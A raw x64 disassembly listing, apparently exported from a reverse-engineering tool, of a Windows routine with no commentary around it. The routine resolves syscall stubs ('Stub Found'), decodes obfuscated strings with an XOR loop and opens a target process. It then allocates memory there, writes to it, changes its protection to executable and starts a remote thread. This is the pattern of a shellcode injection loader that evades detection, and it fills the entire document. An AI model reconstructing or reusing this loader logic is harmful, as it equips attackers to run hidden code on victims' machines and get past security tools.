lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x267f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x2680]
mov rcx, qword [rbp + 0x2d70]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140007b24
lea rbx, [0x1400d6414]
jmp 0x140007b2b
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x28ef]
mov qword [rbp + 0x2c80], rax
nop
nop
lea rdx, [rbp + 0x28ef]
lea rax, [rbp + 0x28c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x1400d640e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x1400d645a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x1400d6406]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x1400d6460]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x1400d644e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2780]
lea rdx, [rbp + 0x27a0]
lea r8, [0x1400d6458]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x2780]
lea r8, [0x1400d6448]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2740]
lea rdx, [rbp + 0x2760]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x2740]
lea r8, [0x1400d6400]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2700]
lea rdx, [rbp + 0x2720]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x1400d644a]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x26a0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2700]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2720]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2740]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2760]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x28ef]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x28f0]
mov rcx, qword [rbp + 0x2d68]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140007f10
lea rbx, [0x1400d6414]
jmp 0x140007f17
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
call fcn.1400016f9
test eax, eax
setne al
test al, al
je 0x140007fa3
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x291f]
mov rcx, rax
call fcn.140002010
mov rax, qword [rbp + 0x2920]
mov rdx, qword [rbp + 0x2928]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2930]
mov rdx, qword [rbp + 0x2938]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.1400242b0
mov esi, 0
mov ebx, 0
jmp 0x140008913
lea rax, [rbp + 0x2950]
lea rdx, [rbp + 0x294f]
mov rcx, rax
call fcn.140002122
mov rax, qword [rbp + 0x2950]
mov rdx, qword [rbp + 0x2958]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x295e]
mov qword [rbp + 0x1e], rax
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.1400240f0
lea rax, section..data
mov rcx, rax
call fcn.140001e7d
mov dword [rbp + 0x2d20], 0xffffffff
cmp dword [rbp + 0x2d20], 0
jne 0x140008017
lea rax, [0x1400d6462]
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2973]
lea rdx, [rbp + 0x2980]
mov rcx, rax
call fcn.1400021e4
lea rax, [rbp + 0x2973]
mov qword [rbp + 0x2c78], rax
mov rax, qword [rbp + 0x2c78]
mov qword [rbp + 0x2c70], rax
mov rax, qword [rbp + 0x2c70]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x1400080f2
mov rax, qword [rbp + 0x2c78]
mov rdx, qword [rbp + 0x2c78]
mov qword [rbp + 0x2c68], rdx
mov qword [rbp + 0x2c60], rax
mov dword [rbp + 0x2c5c], 0
jmp 0x1400080e8
mov eax, dword [rbp + 0x2c5c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2c60]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2c5c]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2c68]
mov eax, dword [rbp + 0x2c5c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2c5c], 1
cmp dword [rbp + 0x2c5c], 0xc
jle 0x140008089
nop
lea rax, [rbp + 0x2973]
mov rcx, rax
call fcn.140001960
mov qword [rbp + 0x2d18], rax
cmp qword [rbp + 0x2d18], 0xffffffffffffffff
jne 0x140008121
mov esi, 0
mov ebx, 0
jmp 0x140008913
lea rax, [rbp + 0x2981]
lea rdx, [rbp + 0x298e]
mov rcx, rax
call fcn.14000225e
lea rax, [rbp + 0x2981]
mov qword [rbp + 0x2c50], rax
mov rax, qword [rbp + 0x2c50]
mov qword [rbp + 0x2c48], rax
mov rax, qword [rbp + 0x2c48]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x1400081fc
mov rax, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c50]
mov qword [rbp + 0x2c40], rdx
mov qword [rbp + 0x2c38], rax
mov dword [rbp + 0x2c34], 0
jmp 0x1400081f2
mov eax, dword [rbp + 0x2c34]
movsxd rdx, eax
mov rax, qword [rbp + 0x2c38]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2c34]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2c40]
mov eax, dword [rbp + 0x2c34]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2c34], 1
cmp dword [rbp + 0x2c34], 0xc
jle 0x140008193
nop
lea rdx, [rbp + 0x2981]
lea rax, [rbp + 0x30]
mov rcx, qword [rbp + 0x2d18]
mov r8, rcx
mov rcx, rax
call fcn.140001b20
mov rax, qword [rbp + 0x30]
cmp rax, 0xffffffffffffffff
je 0x14000822d
mov rax, qword [rbp + 0x38]
cmp rax, 0xffffffffffffffff
jne 0x14000823c
mov esi, 0
mov ebx, 0
jmp 0x140008913
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2d10], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x2d08], rax
mov r10, qword [0x140104038]
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2d10]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2d20], eax
cmp dword [rbp + 0x2d20], 0
je 0x140008345
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x298f]
mov rcx, rax
call fcn.1400022d8
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rbp + 0x2998]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x29a0]
mov rdx, qword [rbp + 0x29a8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x29b0]
mov rdx, qword [rbp + 0x29b8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x29c0]
mov rdx, qword [rbp + 0x29c8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x29cc]
mov rdx, qword [rbp + 0x29d4]
mov qword [rbp - 4], rax
mov qword [rbp + 4], rdx
mov edx, dword [rbp + 0x2d20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140024bb0
mov esi, 0
mov ebx, 0
jmp 0x140008913
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x29df]
mov rcx, rax
call fcn.14000254a
mov rax, qword [rbp + 0x29e0]
mov rdx, qword [rbp + 0x29e8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x29f0]
mov rdx, qword [rbp + 0x29f8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2a10]
mov rdx, qword [rbp + 0x2a18]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2a19]
mov rdx, qword [rbp + 0x2a21]
mov qword [rbp - 7], rax
mov qword [rbp + 1], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140024900
mov r10, qword [0x140104040]
mov r9, qword [0x1400d3050]
mov r8, qword [0x140104030]
mov rdx, qword [rbp + 0xb0]
mov rax, qword [rbp + 0x2d10]
lea rcx, [rbp + 0xa8]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2d20], eax
cmp dword [rbp + 0x2d20], 0
je 0x1400084c2
lea rax, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a2f]
mov rcx, rax
call fcn.1400027a4
mov rax, qword [rbp + 0x2a30]
mov rdx, qword [rbp + 0x2a38]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rbp + 0x2a48]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2a50]
mov rdx, qword [rbp + 0x2a58]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2a60]
mov rdx, qword [rbp + 0x2a68]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2a6a]
mov rdx, qword [rbp + 0x2a72]
mov qword [rbp - 6], rax
mov qword [rbp + 2], rdx
mov edx, dword [rbp + 0x2d20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400249e0
mov esi, 0
mov ebx, 0
jmp 0x140008913
lea rax, [rbp + 0x2a80]
lea rdx, [rbp + 0x2a7f]
mov rcx, rax
call fcn.140002a06
mov rax, qword [rbp + 0x2a80]
mov rdx, qword [rbp + 0x2a88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2a90]
mov rdx, qword [rbp + 0x2a98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2aa0]
mov rdx, qword [rbp + 0x2aa8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2ab0]
mov rdx, qword [rbp + 0x2ab8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2abc]
mov rdx, qword [rbp + 0x2ac4]
mov qword [rbp - 4], rax
mov qword [rbp + 4], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140024ad0
mov r10, qword [0x140104048]
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2d10]
lea rcx, [rbp + 0xbc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
lea r8, [0x1400d3050]
mov rcx, rax
call r10
mov dword [rbp + 0x2d20], eax
cmp dword [rbp + 0x2d20], 0
je 0x14000861b
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2acf]
mov rcx, rax
call fcn.140002c78
mov rax, qword [rbp + 0x2ad0]
mov rdx, qword [rbp + 0x2ad8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2ae0]
mov rdx, qword [rbp + 0x2ae8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2af0]
mov rdx, qword [rbp + 0x2af8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov eax, dword [rbp + 0x2aff]
mov dword [rbp - 0x11], eax
mov edx, dword [rbp + 0x2d20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140024560
mov esi, 0
mov ebx, 0
jmp 0x140008913
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b0f]
mov rcx, rax
call fcn.140002e22
mov rax, qword [rbp + 0x2b10]
mov rdx, qword [rbp + 0x2b18]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b20]
mov rdx, qword [rbp + 0x2b28]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2b30]
mov rdx, qword [rbp + 0x2b38]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2b3f]
mov qword [rbp - 0x11], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140024650
mov r10, qword [0x140104088]
mov rax, qword [rbp + 0xb0]
mov rdx, rax
mov rax, qword [rbp + 0x2d08]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2d20], eax
cmp dword [rbp + 0x2d20], 0
je 0x14000875f
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b4f]
mov rcx, rax
call fcn.140002fec
mov rax, qword [rbp + 0x2b50]
mov rdx, qword [rbp + 0x2b58]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b60]
mov rdx, qword [rbp + 0x2b68]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2b70]
mov rdx, qword [rbp + 0x2b78]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2b79]
mov rdx, qword [rbp + 0x2b81]
mov qword [rbp - 0x17], rax
mov qword [rbp - 0xf], rdx
mov edx, dword [rbp + 0x2d20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140024730
mov esi, 0
mov ebx, 0
jmp 0x140008913
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2b8f]
mov rcx, rax
call fcn.1400031c6
mov rax, qword [rbp + 0x2b90]
mov rdx, qword [rbp + 0x2b98]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2ba0]
mov rdx, qword [rbp + 0x2ba8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2bb0]
mov rdx, qword [rbp + 0x2bb8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2bbd]
mov rdx, qword [rbp + 0x2bc5]
mov qword [rbp - 0x13], rax
mov qword [rbp - 0xb], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140024820
mov r8, qword [0x140104090]
mov rax, qword [rbp + 0x2d08]
mov edx, 0
mov rcx, rax
call r8
mov dword [rbp + 0x2d20], eax
cmp dword [rbp + 0x2d20], 0
je 0x14000887a
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bcf]
mov rcx, rax
call fcn.1400033c0
mov rax, qword [rbp + 0x2bd0]
mov rdx, qword [rbp + 0x2bd8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2be0]
mov rdx, qword [rbp + 0x2be8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2bee]
mov rdx, qword [rbp + 0x2bf6]
mov qword [rbp - 0x22], rax
mov qword [rbp - 0x1a], rdx
mov edx, dword [rbp + 0x2d20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140024390
mov esi, 0
mov ebx, 0
jmp 0x140008913
lea rax, [rbp + 0x2c00]
lea rdx, [rbp + 0x2bff]
mov rcx, rax
call fcn.140003542
mov rax, qword [rbp + 0x2c00]
mov rdx, qword [rbp + 0x2c08]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c10]
mov rdx, qword [rbp + 0x2c18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c20]
mov rdx, qword [rbp + 0x2c28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x2c30]
mov byte [rbp - 0x10], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140024480
mov rdx, qword [0x140104078]
mov rax, qword [rbp + 0x2d10]
mov rcx, rax
call rdx
mov rdx, qword [0x140104078]
mov rax, qword [rbp + 0x2d08]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada10
cmp ebx, 1
jne 0x140008929
mov esi, 0
mov eax, esi
jmp 0x14000a0d9
add rsp, 0x2e90
pop rbx
pop rsi
pop rbp
ret